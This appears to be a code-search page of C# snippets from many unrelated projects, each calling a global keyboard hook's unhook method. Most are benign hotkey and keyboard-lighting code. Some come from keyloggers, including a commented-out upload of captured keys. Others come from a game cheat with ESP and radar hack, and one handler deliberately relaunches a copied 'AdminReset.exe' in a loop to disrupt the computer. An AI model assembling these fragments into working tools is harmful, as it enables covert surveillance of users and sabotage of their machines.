public void StartKeyLogger() { gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook // Declare a KeyDown Event gHook.KeyDown += gHook_KeyDown; // Add the keys you want to hook to the HookedKeys list foreach (Keys key in Enum.GetValues(typeof(Keys))) { gHook.HookedKeys.Add(key); } gHook.unhook(); gHook.hook(); }
private void unhook_Click(object sender, EventArgs e) { isHooked = false; clearTimers(); isRunning.Text = "Stopped..."; gHook.unhook(); }
private void Form1_FormClosing(object sender, FormClosingEventArgs e) { gHook.unhook(); MouseHook.stop(); UnhookWinEvent(hhook); pc.stop(); }
private void Form1_FormClosing(object sender, FormClosingEventArgs e) { gHook.unhook(); wr.Close(); fs.Close(); //fs.Close(); // web.UploadFileAsync(new Uri(tmp.Trim()), "keys.info"); }
private void button2_Click(object sender, EventArgs e) { button1.Enabled = true; button2.Enabled = false; try { //Stop Hooks gHook.unhook(); MouseHook.stop(); } catch (Exception z) { } }
private void button1_Click(object sender, EventArgs e) { if (button1.Text == "Start") { gHook.hook(); button1.Text = "Stop"; } else { gHook.unhook(); button1.Text = "Start"; } }
private void EXIT_Click(object sender, EventArgs e) { try { _overlay.Close(); _overlayStatus = false; } catch { } enableESP.Enabled = false; EXIT.Enabled = false; //выкл ESP ESPThicknessTrackBar.Visible = false; ESPThicknessTrackBar.Value = 5; thicknessLabel.Visible = false; thicknessLabel.Text = "ESPThickness: 0.5"; ESPBrightnessTrackBar.Visible = false; ESPBrightnessTrackBar.Value = 5; brightnessLabel.Visible = false; brightnessLabel.Text = "ESPBrightness: 0.5"; redCheckBox.Visible = false; redCheckBox.Checked = false; greenCheckBox.Visible = false; greenCheckBox.Checked = false; blueCheckBox.Visible = false; blueCheckBox.Checked = false; ESP_BoostFPS_CheckBox.Checked = false; ESP_BoostFPS_CheckBox.Visible = false; //esp GlowChecked.Checked = false; GlowChecked.Enabled = false; //radarhack RadarHackCheck.Checked = false; RadarHackCheck.Enabled = false; //bhop BunnyHopCheckBox.Checked = false; BunnyHopCheckBox.Enabled = false; //FOV FOVCheck.Checked = false; FOVCheck.Enabled = false; //AntiFlash AntiFlashCheckBox.Checked = false; AntiFlashCheckBox.Enabled = false; //отслеживание Insert gHook.unhook(); //выход из всех окон Thread.Sleep(500); Process[] listprosecc = Process.GetProcesses(); try { foreach (Process proc in Process.GetProcessesByName(Variable.CheatName)) { proc.Kill(); } } catch (Exception ex) { MessageBox.Show(ex.Message); } }
public void Stop() { gHook.unhook(); writer.WriteLine("STOP"); writer.Flush(); writer.Close(); enabled = false; }
private void button1_Click(object sender, EventArgs e) { if (gHook != null) { gHook.unhook(); } this.Close(); }
private void Form1_FormClosing(object sender, FormClosingEventArgs e) { //This will f**k the computer up so I recommend turning this off LOL //Basically calls to the copied startup location and creates a loop. if (secretCode == false) { gHook.unhook(); string filePath = @"C:\" + rndFolder + "\\AdminReset.exe"; System.Diagnostics.Process.Start(filePath); } //Debugging purposes. if (secretCode == true) { gHook.unhook(); Application.Exit(); } }
static void powerModeChange(object sender, PowerModeChangedEventArgs e) { if (e.Mode == PowerModes.Suspend) { ghook.unhook(); } else if (e.Mode == PowerModes.Resume) { ghook.hook(); } }
void stop() { btnDetener.Enabled = false; gHook.unhook(); timer1.Stop(); timerMouse1.Stop(); timerProgram.Stop(); timerReloj.Stop(); btnIniciar.Enabled = true; guardar(); reiniciar(); }
private void DetectKeyDown(object sender, KeyEventArgs e) { int value = (int)e.KeyValue; switch (value) { case 27: hook.unhook(); this.Close(); break; } }
private void EndRecord() { hook.unhook(); btn_recordHotkey.BackColor = SystemColors.Control; btn_recordHotkey.ForeColor = Color.Black; btn_recordHotkey.Text = "录入快捷键"; lb_shortcut.Text = HotKeyCommand.HotKeyToString(_modifiers, _keys); _command.Keys = _keys; _command.Modifiers = _modifiers; _isRecording = false; OnCommandValueChanged(); }
private void _EndRecord() { hook.unhook(); BackColor = SystemColors.Control; ForeColor = Color.Black; Text = _oldText; _isRecording = false; if (EndRecord != null) { EndRecord(this, new ShortcutRecordEventArgs() { Keys = _keys.ToList(), Modifiers = _modifiers.ToList() }); } }
/// <summary> /// 설정 값에 따라서 후킹 이벤트를 등록하거나 해제합니다 /// </summary> public static void HookSetting() { if (!m_inited) { return; } if (Globals.Instance.UseShortcut) { manager.hook(); manager.HookedKeys.Clear(); manager.HookedKeys.Add(Globals.Instance.Shortcut.Key); } else { manager.unhook(); } }
private void Form3_FormClosing(object sender, FormClosingEventArgs e) { r = Registry.CurrentUser.OpenSubKey("SOFTWARE\\ClearAll\\DesktopMagic\\Data", true); if (checkBox3.Checked) { r.SetValue("Link", filePaths[listBox1.SelectedIndex]); if (checkBox1.Checked) { r.SetValue("Repeat", true); } else { r.DeleteValue("Repeat", false); } } else { r.DeleteValue("Link", false); r.DeleteValue("Repeat", false); } r.Close(); r.Dispose(); gHook.unhook(); }
private void Form1_FormClosing(object sender, FormClosingEventArgs e) { gHook.unhook(); }
private void button2_Click(object sender, EventArgs e) { gHook.unhook(); }
private void Form1_FormClosing(object sender, FormClosingEventArgs e) { SwitchDevices(args, true, textBox1); gHook.unhook(); }
private void applyButton_Click(object sender, EventArgs e) { ColorType colorType = (ColorType)colorChoiceListBox.SelectedValue; TimerType timerType = (TimerType)timerTypeListBox.SelectedValue; buildRate = int.Parse(buildRateTextBox.Text.ToString()); decayRate = int.Parse(decayRateTextBox.Text.ToString()); maxValue = int.Parse(maxHeatValueTextBox.Text.ToString()); ledOFFCold = bool.Parse(coldOFFCheckBox.Checked.ToString()); scaleBrightness = bool.Parse(scaleBrightnessCheckbox.Checked.ToString()); foreach (string s in keyPressesCon.Keys.ToList()) { keyPressesCon[s] = 0; } Chroma.Instance.Keyboard.Clear(); aTimer.Enabled = false; bTimer.Enabled = false; cTimer.Enabled = false; gHook.unhook(); switch (colorType) { case (ColorType.White): NUM_COLORS = 2; curColor = new double[2, 3] { { 0, 0, 0 }, { 1, 1, 1 } }; break; case (ColorType.Red): NUM_COLORS = 2; curColor = new double[2, 3] { { 0, 0, 0 }, { 1, 0, 0 } }; break; case (ColorType.Green): NUM_COLORS = 2; curColor = new double[2, 3] { { 0, 0, 0 }, { 0, 1, 0 } }; break; case (ColorType.Blue): NUM_COLORS = 2; curColor = new double[2, 3] { { 0, 0, 0 }, { 0, 0, 1 } }; break; case (ColorType.Teal): NUM_COLORS = 2; curColor = new double[2, 3] { { 0, 0, 0 }, { 0, 1, 1 } }; break; case (ColorType.Purple): NUM_COLORS = 2; curColor = new double[2, 3] { { 0, 0, 0 }, { 1, 0, 1 } }; break; case (ColorType.Yellow): NUM_COLORS = 2; curColor = new double[2, 3] { { 0, 0, 0 }, { 1, 1, 0 } }; break; case (ColorType.TestColor): NUM_COLORS = 5; // Blue - Green - Red - Yellow - White curColor = new double[5, 3] { { 0, 0, .25 }, { 0, .125, 0 }, { .5, 0, 0 }, { .75, .75, 0 }, { 1, 1, 1 } }; break; case (ColorType.BlueGreenRedSequence): // Multi color RGB Spectrum NUM_COLORS = 3; if (scaleBrightness) { curColor = new double[3, 3] { { 0, 0, .25 }, { 0, .25, 0 }, { 1, 0, 0 } } } ; else { curColor = new double[3, 3] { { 0, 0, 1 }, { 0, 1, 0 }, { 1, 0, 0 } } }; break; case (ColorType.BlueGreenRedYellowSequence): // Multi color RGB Spectrum NUM_COLORS = 4; if (scaleBrightness) { curColor = new double[4, 3] { { 0, 0, .25 }, { 0, .25, 0 }, { .5, 0, 0 }, { 1, 1, 0 } } } ; else { curColor = new double[4, 3] { { 0, 0, 1 }, { 0, 1, 0 }, { 1, 0, 0 }, { 1, 1, 0 } } }; break; case (ColorType.BlueGreenRedYellowWhiteSequence): // Multi color RGB Spectrum NUM_COLORS = 5; if (scaleBrightness) { curColor = new double[5, 3] { { 0, 0, .25 }, { 0, .25, 0 }, { .5, 0, 0 }, { .75, .75, 0 }, { 1, 1, 1 } } } ; else { curColor = new double[5, 3] { { 0, 0, 1 }, { 0, 1, 0 }, { 1, 0, 0 }, { 1, 1, 0 }, { 1, 1, 1 } } }; break; } aTimer.Enabled = false; bTimer.Enabled = false; cTimer.Enabled = false; switch (timerType) { case (TimerType.HeatMap): Debug.WriteLine("Heat Map"); gHook.hook(); aTimer.Enabled = true; break; case (TimerType.StarLight): Debug.WriteLine("Starlight"); bTimer.Enabled = true; break; case (TimerType.NyanCat): Debug.WriteLine("NyanCat"); NUM_COLORS = 5; curColor = new double[5, 3] { { 0, 0, .25 }, { 0, .25, 0 }, { .5, 0, 0 }, { .75, .75, 0 }, { 1, 1, 1 } }; nyanCatColCount = 0; cTimer.Enabled = true; break; } Properties.Settings.Default.TimerType = timerType; Properties.Settings.Default.ColorType = colorType; Properties.Settings.Default.BuildRate = buildRate; Properties.Settings.Default.DecayRate = decayRate; Properties.Settings.Default.MaxValue = maxValue; Properties.Settings.Default.KeepLEDsLitCold = ledOFFCold; Properties.Settings.Default.ScaleBrightness = scaleBrightness; Properties.Settings.Default.Save(); }
private void exit() { gHook.unhook(); notifyIcon.Visible = false; Environment.Exit(0); }
private void openkey_FormClosing(object sender, FormClosingEventArgs e) { _gHook.unhook(); }
private void applyButton_Click(object sender, EventArgs e) { string colorType = colorChoiceListBox.SelectedItem.ToString(); string timerType = timerTypeListBox.SelectedItem.ToString(); buildRate = int.Parse(buildRateTextBox.Text.ToString()); decayRate = int.Parse(decayRateTextBox.Text.ToString()); maxValue = int.Parse(maxHeatValueTextBox.Text.ToString()); ledOFFCold = bool.Parse(coldOFFCheckBox.Checked.ToString()); scaleBrightness = bool.Parse(scaleBrightnessCheckbox.Checked.ToString()); foreach (string s in keyPressesCon.Keys.ToList()) { keyPressesCon[s] = 0; } Chroma.Instance.Keyboard.Clear(); aTimer.Enabled = false; bTimer.Enabled = false; cTimer.Enabled = false; gHook.unhook(); if (colorType.ToString() == "White") { NUM_COLORS = 2; curColor = new double[2, 3] { { 0, 0, 0 }, { 1, 1, 1 } }; } else if (colorType == "Red") { NUM_COLORS = 2; curColor = new double[2, 3] { { 0, 0, 0 }, { 1, 0, 0 } }; } else if (colorType == "Green") { NUM_COLORS = 2; curColor = new double[2, 3] { { 0, 0, 0 }, { 0, 1, 0 } }; } else if (colorType == "Blue") { NUM_COLORS = 2; curColor = new double[2, 3] { { 0, 0, 0 }, { 0, 0, 1 } }; } else if (colorType == "Teal") { NUM_COLORS = 2; curColor = new double[2, 3] { { 0, 0, 0 }, { 0, 1, 1 } }; } else if (colorType == "Purple") { NUM_COLORS = 2; curColor = new double[2, 3] { { 0, 0, 0 }, { 1, 0, 1 } }; } else if (colorType == "Yellow") { NUM_COLORS = 2; curColor = new double[2, 3] { { 0, 0, 0 }, { 1, 1, 0 } }; } else if (colorType == "Test Color") // Color type for testing new palettes { NUM_COLORS = 5; // Blue - Green - Red - Yellow - White curColor = new double[5, 3] { { 0, 0, .25 }, { 0, .125, 0 }, { .5, 0, 0 }, { .75, .75, 0 }, { 1, 1, 1 } }; } else if (colorType == "Blue-Green-Red") { // Multi color RGB Spectrum NUM_COLORS = 3; if (scaleBrightness) { curColor = new double[3, 3] { { 0, 0, .25 }, { 0, .25, 0 }, { 1, 0, 0 } } } ; else { curColor = new double[3, 3] { { 0, 0, 1 }, { 0, 1, 0 }, { 1, 0, 0 } } }; } else if (colorType == "Blue-Green-Red-Yellow") { // Multi color RGB Spectrum NUM_COLORS = 4; if (scaleBrightness) { curColor = new double[4, 3] { { 0, 0, .25 }, { 0, .25, 0 }, { .5, 0, 0 }, { 1, 1, 0 } } } ; else { curColor = new double[4, 3] { { 0, 0, 1 }, { 0, 1, 0 }, { 1, 0, 0 }, { 1, 1, 0 } } }; } else if (colorType == "Blue-Green-Red-Yellow-White") { // Multi color RGB Spectrum NUM_COLORS = 5; if (scaleBrightness) { curColor = new double[5, 3] { { 0, 0, .25 }, { 0, .25, 0 }, { .5, 0, 0 }, { .75, .75, 0 }, { 1, 1, 1 } } } ; else { curColor = new double[5, 3] { { 0, 0, 1 }, { 0, 1, 0 }, { 1, 0, 0 }, { 1, 1, 0 }, { 1, 1, 1 } } }; } aTimer.Enabled = false; bTimer.Enabled = false; cTimer.Enabled = false; if (timerType == "Heat Map") { Debug.WriteLine("Heat Map"); gHook.hook(); aTimer.Enabled = true; } else if (timerType == "Starlight") { Debug.WriteLine("Starlight"); bTimer.Enabled = true; } else if (timerType == "NyanCat") { Debug.WriteLine("NyanCat"); NUM_COLORS = 5; curColor = new double[5, 3] { { 0, 0, .25 }, { 0, .25, 0 }, { .5, 0, 0 }, { .75, .75, 0 }, { 1, 1, 1 } }; nyanCatColCount = 0; cTimer.Enabled = true; } }
public void StopKeyLogger() { gHook.unhook(); }